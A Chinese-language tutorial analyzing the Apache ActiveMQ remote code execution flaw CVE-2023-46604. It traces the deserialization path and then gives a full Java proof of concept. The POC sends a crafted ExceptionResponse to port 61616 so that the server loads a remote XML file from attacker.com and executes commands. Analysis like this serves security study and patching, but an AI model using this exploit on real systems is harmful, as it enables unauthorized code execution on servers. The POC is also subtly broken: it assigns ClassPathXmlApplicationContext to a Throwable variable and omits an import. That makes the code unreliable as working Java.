【Web实战】ActiveMQ漏洞分析保姆教程(CVE-2023-46604)
字数 1250 2025-08-10 08:28:42
ActiveMQ漏洞分析与利用教程(CVE-2023-46604)
漏洞概述
CVE-2023-46604是Apache ActiveMQ中的一个远程代码执行漏洞,影响版本为5.18.0至5.18.2。该漏洞源于ActiveMQ在反序列化过程中未对传入的类进行充分验证,攻击者可通过构造特殊的消息触发远程代码执行。
漏洞分析
1. 漏洞触发点
漏洞核心触发点在BaseDataStreamMarshaller类中,通过反射调用实例化一个构造函数传参为String的类。5.18.3版本增加了过滤规则,对传入类进行了判断,确保其继承自Throwable父类。
2. 触发流程分析
-
反序列化入口:
BaseDataStreamMarshaller.createThrowable方法- 通过
tightUnmarsalThrowable或looseUnmarsalThrowable方法触发 - 从传入的
dataIn获取claszz和message参数
- 通过
-
触发点位置:
ConnectionErrorMarshallerExceptionResponseMarshallerMessageAckMarshaller
-
协议处理流程:
- 消息通过
OpenWireFormat.doUnmarshal处理 - 根据
dataType选择对应执行器:ExceptionResponseMarshaller对应31ConnectionErrorMarshaller对应16MessageAckMarshaller对应22
- 消息通过
-
TCP传输层:
TcpTransport.readCommand()方法处理传入数据wireFormat.unmarshal执行反序列化过程
漏洞利用
1. 消息发送机制
利用TcpTransport.oneway方法发送恶意构造的ExceptionResponse类:
// 创建连接工厂
ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);
// 创建连接
Connection connection = activeMQConnectionFactory.createConnection();
// 打开连接
connection.start();
// 获取oneway方法
((ActiveMQConnection)connection).getTransportChannel().oneway(exceptionResponse);
2. 利用链构造
利用ClassPathXmlApplicationContext类加载远程XML实现命令执行:
Throwable obj2 = new ClassPathXmlApplicationContext("http://attacker.com/poc.xml");
ExceptionResponse exceptionResponse = new ExceptionResponse(obj2);
3. 完整POC示例
import org.apache.activemq.ActiveMQConnectionFactory;
import org.apache.activemq.command.ExceptionResponse;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import javax.jms.*;
public class MQ_POC {
private static final String ACTIVEMQ_URL = "tcp://target:61616";
private static final String QUEUE_NAME = "tempQueue";
public static void main(String[] args) throws Exception {
// 创建连接工厂
ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(ACTIVEMQ_URL);
// 创建连接
Connection connection = activeMQConnectionFactory.createConnection();
// 打开连接
connection.start();
Throwable obj2 = new ClassPathXmlApplicationContext("http://attacker.com/poc.xml");
ExceptionResponse exceptionResponse = new ExceptionResponse(obj2);
((ActiveMQConnection)connection).getTransportChannel().oneway(exceptionResponse);
connection.close();
}
}
漏洞调试流程
-
消息发送流程:
- 通过
oneway()方法发送序列化数据 - 经过多层传输处理最终通过TCP发送
- 通过
-
服务端处理流程:
TcpTransport监听61616端口接收数据OpenWireFormat开始反序列化- 根据数据类型(31)进入
looseUnmarshal方法 - 调用
looseUnmarsalThrowable方法 - 反射实例化
ClassPathXmlApplicationContext类 - 加载远程XML执行命令
修复方案
- 升级到ActiveMQ 5.18.3或更高版本
- 5.18.3版本增加了类过滤规则,确保传入类继承自
Throwable